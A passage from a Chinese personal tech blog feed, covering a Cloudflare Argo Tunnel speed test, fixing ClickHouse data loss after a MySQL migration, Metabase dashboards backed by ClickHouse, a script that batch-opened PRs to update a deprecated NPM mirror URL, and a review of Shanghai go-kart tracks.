Connecting to without-tunnel.knat.network (without-tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’

CoronaVac.img                           100%[==============================================================================>]   1.00G  5.37MB/s    in 3m 26s  

2022-03-26 15:11:06 (4.97 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]

如果走 Argo Tunnel 的话,速度是这样的(平均速度 13.6 MB/s):

○ wget https://tunnel.knat.network/CoronaVac.img
--2022-03-26 15:12:39--  https://tunnel.knat.network/CoronaVac.img
Resolving tunnel.knat.network (tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to tunnel.knat.network (tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’

CoronaVac.img                           100%[==============================================================================>]   1.00G  14.8MB/s    in 75s     

2022-03-26 15:13:56 (13.6 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]

速度提升了 4 倍。

emmm,而且这个服务甚至是免费的:

In the past, Argo Tunnel has been priced based on bandwidth consumption as part of Argo Smart Routing, Cloudflare’s traffic acceleration feature. Starting today, we’re excited to announce that any organization can use the secure, outbound-only connection feature of the product at no cost.

——A Boring Announcement: Free Tunnels for Everyone

https://blog.cloudflare.com/tunnel-for-everyone/

一点额外的想法

我们的许多基础设施要么是美国公司提供的,要么就是大量使用了美国公司的产品,我们耳熟能详的(至少自称)开发者友好的云(Vultr/Digital Ocean/Linode),大型公有云(AWS/GCP/Azure),大型 CDN 服务商(Cloudflare,Akamai,Fastly),平时用的 Docker/Kubernetes,两大前端框架(React,Augular) 都是美国公司的产品。

以至于如果希望有服务能完全 Hosted in EU,Owned totally by EU company 都是一件比较困难的事情。

很多时候我会想:当这些公司推出了一个个令人兴奋的且难以被替代产品(比如 S3,比如 Lambda)的时候,我们又在做些什么?我们自己有什么产品是真正在推动互联网某些领域进步吗?哪怕只是一点很小的进步…

(或者说,我们还在忙着打造 xx 场景,为 xx 行业赋能,给 xx 提供抓手,助力出海东南亚?)

不禁又一次想到了 Cloudflare 博客上的一句话:

At Cloudflare, our mission is to help build a better Internet.

希望这个记录和测试对部分人的部分业务有所启发,以上。

]]>
解决用 clickhouse-mysql 迁移数据到 Clickhouse 后丢失部分数据的一点笔记https://nova.moe/data-loss-after-mysql-clickhouse/Thu, 24 Mar 2022 06:00:00 +0800https://nova.moe/data-loss-after-mysql-clickhouse/在上一篇文章:「在 Metabase 上分析 WebP Cloud Services 运营数据,并使用 Clickhouse 让速度提升 5 倍」中,我们讲到了可以通过 clickhouse-mysql 很方便地将数据从 MySQL 迁移到 Clickhouse,但是其中我们遇到了部分数据丢失的问题,本文将记录一下整个过程,和对应的解决方案。

ReplacingMergeTree Data Loss

在使用 clickhouse-mysql 之后需要额外关注一下导入的数据库的结构(可以在连接到 Clickhouse 之后通过 show create table <DB_NAME>.<TABLE_NAME> 查看,默认可能会使用 ReplacingMergeTree,并且 SORTING KEY 会随机使用一个)

在这种情况下,如果你原有的表中有一个字段是 DateTime 类型的话,可能这个字段会被用作 SORTING KEY,ReplacingMergeTree 的特性是:

it removes duplicate entries with the same sorting key value。

我们通过观察 clickhouse-mysql 的日志可以看出:

Running with chclient CREATE DATABASE IF NOT EXISTS `webp_cloud`;
Running with chclient CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs`  (
    `hashed_remote_identifier` Nullable(String),
    `requested_hostname` Nullable(String),
    `requested_path` Nullable(String),
    ...
    `created_at` DateTime
) 
ENGINE = ReplacingMergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)
;

这里用了 ReplacingMergeTree ,在这种情况下,如果有多条记录的 created_at 是一样的话(比如同一秒内的多个请求),那数据就会被丢到只剩一条了。

Change Engine

为了解决这个问题,我们需要改一下使用的 ENGINE,可以通过类似如下语句导出先建库建表的 SQL:

clickhouse-mysql --src-host=10.1.0.10 --src-user=root --src-password=password --create-table-sql-template --with-create-database --src-tables=webp_cloud.logs > logs.sql

SQL 类似如下:

CREATE DATABASE IF NOT EXISTS `webp_cloud`;
CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs`  (
    `hashed_remote_identifier` Nullable(String),
    `requested_hostname` Nullable(String),
    `requested_path` Nullable(String),
    ...
    `created_at` Nullable(DateTime)
) 
ENGINE = MergeTree(<PRIMARY_DATE_FIELD>, (<COMMA_SEPARATED_INDEX_FIELDS_LIST>), 8192)
;

这就很奇怪了,这样导出的 ENGINE 就是 MergeTree 了.

这里我们需要改一下 SQL,首先 MergeTree 要求按照 PARTITION 来,我们决定用 created_at 来进行,由于原库中 created_at 不会为 Null,所以我们需要改一下,改为:

`created_at` DateTime

然后需要改一下 ENGINE 的部分,改为:

ENGINE = MergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)

改完之后类似如下:

CREATE DATABASE IF NOT EXISTS `webp_cloud`;
CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs`  (
    `hashed_remote_identifier` Nullable(String),
    `requested_hostname` Nullable(String),
    `requested_path` Nullable(String),
    ...
    `created_at` DateTime
) 
ENGINE = MergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)
;

保存为一个 .sql 文件之后导入到 Clickhouse 中:

clickhouse-client --host=10.1.0.10 -mn < ./path/to/that.sql

此时表结构就已经完成建立了,我们可以继续用之前的命令进行导入并保持同步了:

clickhouse-mysql \
--src-server-id=1 \
--src-resume \
--src-wait \
--nice-pause=1 \
--src-host=10.1.0.10 \
--src-user=root \
--src-password=password \
--src-tables=webp_cloud.logs \
--dst-host=10.1.0.11 \
--dst-schema webp_cloud \
--dst-table logs \
--log-level=info \
--csvpool \
--mempool-max-flush-interval=60 \
--mempool-max-events-num=1000 \
--pump-data \
--migrate-table

这个事件充分说明了我对 Clickhouse 真的一窍不通(

]]>
在 Metabase 上分析 WebP Cloud Services 运营数据,并使用 Clickhouse 让速度提升 5 倍https://nova.moe/metabase-analytics-with-clickhouse/Sun, 20 Mar 2022 14:14:14 +0800https://nova.moe/metabase-analytics-with-clickhouse/Intro

WebP Cloud Services

我们会对基础的运营数据进行分析,这其中包括每日的流量,流量来自哪些网站(referer),服务平均响应延迟等,这些数据可以告诉我们服务的整体运行情况,同时也可以指导我们进行一些后续的优化。

数据的来源其实非常简单,每一次有请求发到我们基础设施的时候,我们都会对请求的相关信息进行脱敏记录(由于我们的基础设施分布在德国和芬兰,这里我们希望符合 GDPR)并存在一个数据库中,数据库的表结构类似:

CREATE TABLE logs
(
    hashed_remote_identifier varchar(64),
    requested_hostname varchar(100),
    requested_path text,
    ...
    created_at DATETIME
);

这样针对每条请求记录我们都有了一份唯一的存储,虽然简陋,但是 Works。

什么?你说为啥我们数据不存 ES?

Metabase

有了这么一条条的数据之后,我们很快就会希望得到一些曲线,比如:每天我们处理了多少请求,这些请求都是来自哪儿。

虽然这些图表可以自己写一个 API 从数据库中捞,但是有现成的工具为什么不用呢,这里我们使用了比较成熟的一个开源解决方案——Metabase

Metabase 的部署很简单,只要用 docker-compose.yml 内容类似如下:

version: '3'

services:
  metabase:
    image: metabase/metabase
    restart: always
    volumes:
       - ./metabase-data:/metabase-data
    ports:
      - 127.0.0.1:3000:3000
    environment:
      TZ: Asia/Shanghai

启动后配置一下数据库即可使用:

只要点点点就可以创建很多 Kanban 和 Dashboard.

甚至还可以配置 Pulse,让 Metabase 每天自动发「日报」给我们邮箱,你看,多贴心!

最终通过点点点和拖拖拖,我们就可以得到一个看上去还不错的 Dashboard 了,

Clickhouse kicked in

但是很快我们就会遇到问题,随着站点访问量越来越大,Metabase 为了获取这些数据需要扫全表,速度也会越来越慢,页面加载速度也逐渐可以用秒为单位进行计算,为了解决这个问题,我们决定把数据实时同步到 Clickhouse 上,并通过 Clickhouse 上的数据来渲染图表。

我们的基础设施有 4 台服务器,为了获得一个比较高可用的 Clickhouse 集群,对于 Clickhouse 使用一窍不通的我使用了我自己写的集群配置文件生成工具:https://github.com/n0vad3v/simple-multinode-clickhouse-cluster ,编写了集群拓扑:

global:
  clickhouse_image: "yandex/clickhouse-server:21.3.2.5"
  zookeeper_image: "bitnami/zookeeper:3.6.1"

zookeeper_servers:
  - host: 10.1.0.10
  - host: 10.1.0.11
  - host: 10.1.0.12
  - host: 10.1.0.13

clickhouse_servers:
  - host: 10.1.0.10
  - host: 10.1.0.11
  - host: 10.1.0.12
  - host: 10.1.0.13

clickhouse_topology:
  - clusters:
      - name: "novakwok_cluster"
        shards:
          - name: "novakwok_shard"
            servers:
              - host: 10.1.0.10
              - host: 10.1.0.11
              - host: 10.1.0.12
              - host: 10.1.0.13

生成出 docker-compose.yml 文件后用 Ansible 部署到机器上并启动。

MySQL Clickhouse replication

现在我们需要迁移 MySQL 的数据并保持和 Clickhouse 同步,我们使用的 MySQL 是 ubuntu 提供的 ubuntu/mysql:8.0-20.04_beta,这个镜像 binlog 默认打开,并且 server-id 是 1(甚至是 Multi-Arch 的):

MySQL [(none)]> SELECT @@server_id;
+-------------+
| @@server_id |
+-------------+
|           1 |
+-------------+
1 row in set (0.000 sec)

MySQL [(none)]> show variables like '%bin%';
+------------------------------------------------+-----------------------------+
| Variable_name                                  | Value                       |
+------------------------------------------------+-----------------------------+
| log_bin                                        | ON                          |
| log_bin_basename                               | /var/lib/mysql/binlog       |
| log_bin_index                                  | /var/lib/mysql/binlog.index |
| log_statements_unsafe_for_binlog               | ON                          |
| mysqlx_bind_address                            | *                           |
| sql_log_bin                                    | ON                          |
| sync_binlog                                    | 1                           |
+------------------------------------------------+-----------------------------+

这里我们使用 clickhouse-mysql 工具进行迁移,首先安装必要的包和组件:

apt install libmysqlclient-dev python3-pip -y
pip3 install clickhouse-driver
pip3 install mysql-replication
pip3 install clickhouse-mysql

然后启动一个 tmux 将这个程序后台跑着:

clickhouse-mysql \
--src-server-id=1 \
--src-resume \
--src-wait \
--nice-pause=1 \
--src-host=10.1.0.10 \
--src-user=root \
--src-password=password \
--src-tables=webp_cloud.logs \
--dst-host=10.1.0.11 \
--dst-schema webp_cloud \
--dst-table logs \
--log-level=info \
--csvpool \
--mempool-max-flush-interval=60 \
--mempool-max-events-num=1000 \
--pump-data \
--migrate-table \
--dst-create-table 

此时 clickhouse-mysql 就会迁移已有数据,并保持同步写入 MySQL 的所有数据了,这个时候建议在在 MySQL 和 Clickhouse 上都看一下数据的 COUNT,如果发现 Clickhouse 上的数据小于 MySQL 的话,可能丢数据了,没事,我也遇到了这个问题,可以参考「解决用 clickhouse-mysql 迁移数据到 Clickhouse 后丢失部分数据的一点笔记」解决。

Metabase Patch

搞了上面那一堆之后我们回到 Metabase 上准备添加 Clickhouse 然后准备感受起飞一般的速度,我们熟练地点开「Admin」->「Database」,然后…

发现没有 Clickhouse!

所以这里肯定是有人一开始看错了(以为 Metabase 直接支持,不然也不会选择使用 Clickhouse),而且那个看错的人肯定不是我自己

这就很坑了!

所幸,我们还是找到了一个插件: https://github.com/enqueue/metabase-clickhouse-driver ,接下来对 Metabase 进行一点小小的改造,比如:

  1. docker-compose.yml 同目录下放一个 plugins 目录,然后把 https://github.com/enqueue/metabase-clickhouse-driver/releases/download/0.8.1/clickhouse.metabase-driver.jar 给塞进去
  2. 改造下 docker-compose.yml,加入 MB_PLUGINS_DIR 环境变量并传 plugins 目录进去
version: '3'

services:

  metabase:
    image: metabase/metabase
    restart: always
    user: root
    volumes:
       - ./metabase-data:/metabase-data
       - ./plugins:/app/plugins
       - ./run_metabase.sh:/app/run_metabase.sh
    ports:
      - 127.0.0.1:3000:3000
    environment:
      MB_DB_FILE: /metabase-data/metabase.db
      MB_PLUGINS_DIR: /app/plugins
      TZ: Asia/Shanghai
  1. 把容器内的 /app/run_metabase.sh 复制出来,并改造一下让 Metabase 用 root 身份运行(避免读 plugin 目录遇到权限问题)

(或者这里你可以直接用我改好的版本,在: https://github.com/n0vad3v/dockerfiles/tree/master/metabase-clickhouse

终于,我们在 Metabase 中可以看到 Clickhouse 了!

同样是经过一段时间的拖拖拖和点点点,我们就获得了一个数据在 Clickhouse 上的运营看板,为了对比加载速度,我们看看日志:

MySQL

大约 4.1s

GET /api/user/current 200 7.2 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/session/properties 200 30.0 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/database 200 8.6 ms (3 DB calls) App DB connections: 1/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/dashboard/33 200 39.8 ms (14 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/table/38/query_metadata 200 9.5 ms (9 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/collection/root 200 1.5 ms (2 DB calls) App DB connections: 2/15 Jetty threads: 9/50 (0 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
POST /api/dashboard/33/dashcard/33/card/33/query 202 [ASYNC: completed] 1.3 s (19 DB calls) App DB connections: 2/15 Jetty threads: 3/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 5 (0 queued); mysql DB 34 connections: 1/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/37/card/37/query 202 [ASYNC: completed] 1.4 s (19 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 4 (0 queued); mysql DB 34 connections: 0/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/33/card/38/query 202 [ASYNC: completed] 1.9 s (21 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 3 (0 queued); mysql DB 34 connections: 2/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/34/card/34/query 202 [ASYNC: completed] 3.6 s (22 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 2 (0 queued); mysql DB 34 connections: 5/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/36/card/36/query 202 [ASYNC: completed] 3.9 s (20 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 1 (0 queued); mysql DB 34 connections: 3/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/35/card/35/query 202 [ASYNC: completed] 4.1 s (20 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 0 (0 queued); mysql DB 34 connections: 4/6 (0 threads blocked)

Clickhouse

大约 825ms

GET /api/session/properties 200 15.5 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/user/current 200 5.4 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/database 200 9.1 ms (3 DB calls) App DB connections: 0/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/dashboard/34 200 43.0 ms (14 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/table/39/query_metadata 200 14.9 ms (9 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
POST /api/dashboard/34/dashcard/38/card/39/query 202 [ASYNC: completed] 126.1 ms (19 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 0/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/38/card/40/query 202 [ASYNC: completed] 137.7 ms (21 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued); clickhouse DB 35 connections: 1/4 (0 threads blocked)
GET /api/collection/root 200 1.5 ms (2 DB calls) App DB connections: 0/15 Jetty threads: 5/50 (4 idle, 0 queued) (111 total active threads) Queries in flight: 2 (0 queued)
POST /api/dashboard/34/dashcard/39/card/42/query 202 [ASYNC: completed] 296.7 ms (19 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 3 (0 queued); clickhouse DB 35 connections: 1/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/40/card/41/query 202 [ASYNC: completed] 429.3 ms (23 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 2 (0 queued); clickhouse DB 35 connections: 3/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/42/card/44/query 202 [ASYNC: completed] 467.4 ms (20 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 2/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/41/card/43/query 202 [ASYNC: completed] 825.7 ms (20 DB calls) App DB connections: 2/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 0/4 (0 threads blocked)

可以发现快了 5 倍左右。

有了更快的速度,再也不用等着 Metabase 转圈圈了,同时我们也可以做出更多的 Dashboard 来支撑我们的决策了~

]]>
我是怎么在两天之内糊出 350+ 个 PR 的(NPM Mirror 修复小记)https://nova.moe/fix-npm-mirror-in-batch/Mon, 14 Feb 2022 13:00:00 +0800https://nova.moe/fix-npm-mirror-in-batch/事情的起因是这样的,有一天我在 Telegram 里面看到了一条消息:

由于之前有过被大量 Dependabot 骚扰的经历,加上有 GitHub Code Search 的 Preview 权限,于是便想到:为什么我不能做一个类似 dependabot 的东西来批量帮别人来改 NPM Mirror 地址呢?

拿到所有的仓库和文件信息

第一反应便是去 https://cs.github.com 上拿到所有包含老地址的仓库,虽然 GitHub Code search 没有提供任何 API,但是通过浏览器的包来看,还是有个 API 地址可用的,所以很快就有了第一个小脚本用来拿到所有仓库和关键词所在文件的信息(这里为了简单考虑只查了 ['Makefile','Dockerfile','.md','package.json','.npmrc' 中包含旧地址的信息,Copilot 一开,啪的一下,很快啊:

import requests
import csv

filename_list = ['Makefile','Dockerfile','.md','package.json','.npmrc']

url = 'https://cs.github.com/api/search?q=path%3A{filename}+registry.npm.taobao.org++&p={page}'
header = {"cookie":"_COOKIE_HERE",
"user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"}

results = []
for filename in filename_list:
    res = requests.get(url.format(filename=filename, page=1),headers=header)
    total_pages = res.json()['total_pages']
    for page in range(1,total_pages+1):
        res = requests.get(url.format(filename=filename, page=page),headers=header)
        for result in res.json()['results']:
            each_repo = {}
            each_repo['filename'] = result['path']
            each_repo['repo_name'] = result['repo_name']
            each_repo['ref_name'] = result['ref_name']
            results.append(each_repo)

# Write results to csv file
with open('results.csv', 'w') as csvfile:
    fieldnames = ['filename', 'repo_name', 'ref_name']
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    writer.writeheader()
    for result in results:
        writer.writerow(result)

这样,我们就可以快速拿到所有的信息了,保存在一个 csv 里面,文件内容类似如下:

filename,repo_name,ref_name
Makefile,ElemeFE/element,refs/heads/dev
Makefile,node-modules/copy-to,refs/heads/master
Makefile,cnodejs/nodeclub,refs/heads/master
Makefile,leungwensen/svg-icon,refs/heads/master
makefile,V-Tom/blog,refs/heads/koa2
Makefile,aliyun/api-gateway-nodejs-sdk,refs/heads/master
Makefile,cojs/urllib,refs/heads/master
Makefile,barretlee/blog,refs/heads/master

但是这个里面有非 master 分支的数据(由于这个脚本希望它越简单粗暴越好,所以决定只处理 master 分支),很快就有了如下语句:

grep "refs/heads/master" results.csv >> master.csv

在拿到了 master.csv 之后我发现,有些仓库内可能会存在同一个 repo 中多个文件都有出现旧地址的情况,类似如下:

lang/node-firmata/Makefile,immortalwrt/packages,refs/heads/master
lang/node-sqlite3/Makefile,immortalwrt/packages,refs/heads/master

在这种情况下如果直接按行遍历的话会出现一个仓库多个 PR 的情况,这种情况肯定不能出现,于是将数据洗成一个简单的 JSON 格式,结果看上去类似这样:

[{
    "repo_name_with_owner": "node-modules/default-user-agent",
    "files": [
        "package.json"
    ]
},
{
    "repo_name_with_owner": "KittenBot/Kittenblock",
    "files": [
        "scratch-blocks/package.json",
        "scratch-vm/package.json"
    ]
}]

批量提 PR

好了,我们现在有了所有需要的仓库的信息

可以开始一个个遍历了,由于这个脚本希望越简单粗暴越好,所以对于每个仓库,我们都:

  1. Fork 原仓库并等 5s(GitHub 的 Fork 似乎需要时间,如果直接 Clone 会报错)
  2. Clone 仓库
  3. 用脚本修改需要的文件内容
  4. git add . && git commit -m "update https://registry.npm.taobao.org to https://registry.npmmirror.com" && git push
  5. 调用 GitHub API 产生一个 PR

然后在遇到过很多次的 Rate limit 之后:

{"message":"API rate limit exceeded for user ID 99484857.","documentation_url":"https://docs.github.com/rest/overview/resources-in-the-rest-api#rate-limiting"}

300+ 个 PR 就出现了~

然后我的帐号也被 Flag 了:

还好是新注册的一个小号…

2022-02-14:@npmmirror 帐号已经被放了出来,GitHub 的回复表示:Sorry for the troubles here. Sometimes the automated systems we use will incorrectly flag an account when it shouldn’t be, and that’s what occurred here. I’ve reset your profile, so you should be able to access and use everything as normal again.

接下来就是等着这些 PR 被慢慢合并掉就好了~

有趣的事情

在做这个事情的过程中,我们可以看到有很多有趣的事情,这里分为几类:

CLA

嗯,是的,很多 PR 被 CLA 就直接挡了下来

比如:https://github.com/alibaba/hooks/pull/1459#issuecomment-1037043145

EmailBot Reply

这里面就很有意思了,比如我们可以看到 https://github.com/alsotang/node-lessons/pull/173#issuecomment-1037010525 中的「这是来自QQ邮箱的假期自动回复邮件。您好,我最近正在休假中,无法亲自回复您的邮件。我将在假期结束后,尽快给您回复。」,「你的来信我已收到!」,「您好,已收到你的来信,很高兴,我会进快回复,谢谢」

或者 https://github.com/egret-labs/egret-core/pull/419#issuecomment-1037011169 中的:「什么事吖」

Bot Fight

名场面应该是 DIYGOD 的 RSSHUB,可以看到真人和机器人之间针对这个 PR 开开关关,最后 Merge 的案例:

Close and Push Commit

也有直接就 Close 了 PR 并且手动提交了 Commit 的情况,不过这类情况似乎不多见,这里的案例是:https://github.com/erda-project/erda-ui/pull/2895 (这里原因是因为 PR 中少改了一个文件)

作者 Close 了这个 PR 并重新 Push 了一个新的 Commit

Merge with question

可能是因为淘宝 NPM Mirror 修改源这个信息出现的位置过于诡异(GitHub Issue 和 Zhihu Link,分别是:https://github.com/cnpm/cnpm/issues/361 , https://zhuanlan.zhihu.com/p/430580607https://zhuanlan.zhihu.com/p/465424728 ),所以会出现即使作者看到了 PR 也没法确定整个事情的真实性,这里的代表案例是:https://github.com/apache/skywalking/pull/8538

Merged

这种最多,就是直接 Merge 了,没有任何 Comment.

后记

第一次干这种 污染全 GitHub 的 事情,现在想想还是蛮刺激的,记得刚刚开始搞的时候由于怕被人骂,在 NPMMirror 的 PR Body 和 URL 中留下的是 n0vad3v 经过 sha256sum 之后的值 8d6e8cefe5a7e3202364ec2c48db03fcc544218cf70100bf65d2ed2df5cc83da,后来发现多虑了。

同时在 @xuanwo 的提醒「我感觉海星啊,感觉可以做一个面向全体开源项目批量重构的服务」下,感觉其实这里面还有很大的潜在需求等待被满足,或许可以做一个新的公共服务?

]]>
聊聊上海的一些卡丁车场https://nova.moe/karting-in-shanghai/Sat, 29 Jan 2022 10:26:08 +0800https://nova.moe/karting-in-shanghai/

本文于 2023-04-24 更新了「金速湾卡丁车(室外)」

本文于 2023-10-18 更新了「康桥流光速卡丁车(室外)」的视频

一个不想成为车手的程序员不是一个好的 SRE,上海的卡丁车场地是真的多,作为去过了不少卡丁车的重度…娱乐车玩家来说,希望在此机会分享一下经常去玩的场地的优劣和个人的喜好,本文会涉及以下场地:

  • 上海赛车场卡丁车(室外)
  • 康桥流光速卡丁车(室外)
  • 长风公园内的迪士卡(室内)
  • 军工路速马赫卡丁车(室内)
  • 极烽赛车(室内+室外)
  • 金速湾卡丁车(室外)

此外还有些其他类型的卡丁车介绍,同事给我推荐了个视频,感觉挺不错,可以作为参考: 试着给上海所有卡丁车场排个名 [魔都卡丁车馆打卡]

作为没有自己的卡丁车的娱乐车玩家,发现各个场地的娱乐车普遍有一些问题,要么就是:速度很慢(仿佛被限速),弯中抢方向(开起来有点像修过的大事故车),所以个人感觉对于娱乐车而言,应该抱着娱乐的心态去玩(因为可能两次去玩的车都不一样,还有地面温度,以及轮胎的损耗情况,成绩可能没有太大的参考价值)

这样看来,卡丁车要想有成就(比如参加比赛拿到名次)可能光靠娱乐车是完全不够的。

上海赛车场卡丁车(室外)

参考价格:娱乐车(200CNY/8min)

参考成绩:1:22:304

提供护具:头盔+一次性头套+护肋

这个是我个人最喜欢的室外场地,原因在于它的场地非常大,路面情况不错,而且有路肩可以切,感觉是一个非常正规的赛道,缺点在于娱乐车之间差距过大(感觉可能是保养不善),航拍赛道(伪)全景如下(赛道上空是虹桥限高区,最高只能飞到 120M 高)

而且看上去这个场地还会被用于训练(经常能看到专业车)。

康桥流光速卡丁车(室外)

参考价格:娱乐车(158CNY/8min),双人车(258CNY/8min,注意,双人车没有成绩,最高速度很低)

参考成绩:57:527

提供护具:头盔+一次性头套+护肋

个人感觉是上海第二好的室外卡丁车场地,虽然面积相比较上赛那个有差距,但是依然感觉是一个比较专业的户外场地,有路肩,缓冲区等,而且看到不少听说过名字的人都在这里玩,比如(谢欣哲,Magic Bear等等),而且看上去这个场地还会被用于训练(经常能看到专业车)。

我自己在 2023 年 10 月跑的视频:

长风公园内的迪士卡(室内)

参考价格:娱乐车(130CNY/8min)

参考成绩:45:443

提供护具:头盔+车上安全带

一个非常老的场地了,地面有点类似停车场环氧地坪的感觉,比较光滑,不是好在抓地力还可以,车和车之间似乎差异不是很大,可能唯一的问题就是整个场地看上去有点陈旧(地面有点凹凸不平),头盔啥的感觉也有点黏糊,然后室内照明不是很好。

军工路速马赫卡丁车(室内)

参考价格:忘了

参考成绩:29:008

提供护具:头盔+一次性头套+车上安全带+护颈

一个算是比较新的室内场地,有点类似下文的极烽赛车的室内部分,都是在一个厂房内搭建的,所以不能像室外的场地一样有大量的大直线,以及路肩来切弯,对于娱乐车而言似乎车和车之间差距不是很大,跑出来的成绩还算比较有参考意义,只是个人感觉这种室内场地过于拥挤导致观感不是很舒服(有种:就在室内强行摆一些桩桶来绕圈圈的感觉)。

整个赛道的路面附着力还算可以,T2 之后的掉头弯比较考验驾驶员的胆量(和对于车辆的把握程度),因为刹早了可能太慢,刹晚了会推头撞墙,太早入弯的话可能会一头插到轮胎墙底下(绝非玩笑):

极烽赛车(室外+室内)

参考价格:娱乐车室内(88CNY/7min)(这个价格是当时做活动打折的价格,具体其他价格记不太清楚了)

参考成绩:27:104(室内)

提供护具:头盔+一次性头套+护肋+车上安全带+护颈

这个场地非常新,设计也比较新颖,有室内,室外和室内+室外三种不同的跑法,由于场地很新,车很新,提供的护具也很新,所以娱乐车也一般不会遇到车辆之间差距过大而导致没有参考意义的情况,整体体验很不错,可能唯一的问题就是方向盘的形状有点奇怪不太好握+大直线有点少。

室內部分:

室外部分:

虽然这个场地有室外部分,但是还是整体有些偏小,而且室外部分其实和室内部分类似,弯心基本都是轮胎墙,不能像常规的室外场地一样压路肩切弯,有可能是弯道比较多,也有可能是因为场地比较新,路面普遍比较光滑,轮胎附着力不是很好,基本稍微 push 一点就会一直滑。

金速湾卡丁车(室外)

参考价格:忘了

参考成绩:46

提供护具:头盔+一次性头套+护肋+车上安全带+护颈

是金山的一个比较新的卡丁车场,路线是用可以移动的盒子围起来的,所以可能之后会有变动,拍照的时间是 2022 年 10 月,当时去的时候应该没开业多久,当时去的时候车辆情况还不错,低速弯比较多。

后记

个人给这些场地一个排名的话,那就是:

室外场地:上海赛车场卡丁车 > 康桥流光速卡丁车

室内场地:军工路速马赫卡丁车 >= 极烽赛车 > 长风公园内的迪士卡

玩了这么多次卡丁车下来,感觉普遍娱乐车有一个问题,就是基本场地没法做到娱乐车的之间不要有太大差异,最让我惊讶的上赛的卡丁车,最近一次和一个和我能力相仿的同事去的时候,我们分别跑出了 1:23 和 1:39 的成绩,且据他描述,他的车可以全程不踩刹车过弯…(虽说娱乐车可能面向的就是大部分认为卡丁车 == 碰碰车的人,但是这么明显的差距,感觉确实有很大的维护上的问题了),事后我们找了工作人员,但是工作人员并不承认这个问题的存在,并表示:

如果你觉得卡丁车有问题,那么第一圈就应该直接下来找我们换车(虽然在刚刚开始的时候他并没有这么说过)

如果你想玩卡丁车并且目标不是当碰碰车去开的话,有以下一点个人的经验:

  • 锻炼你的臂力(卡丁车没有助力,如果常年不运动的话可能 8 分钟的激烈驾驶之后你的胳膊会酸到开车回家都是一个痛苦的事情)
  • 自备手套 + 不断找到驾驶的卡丁车的方向盘的最不磨手的姿势(否则大拇指内侧非常容易磨出水泡)
  • 有条件的话可以考虑自备一个头套(方便戴头盔用)
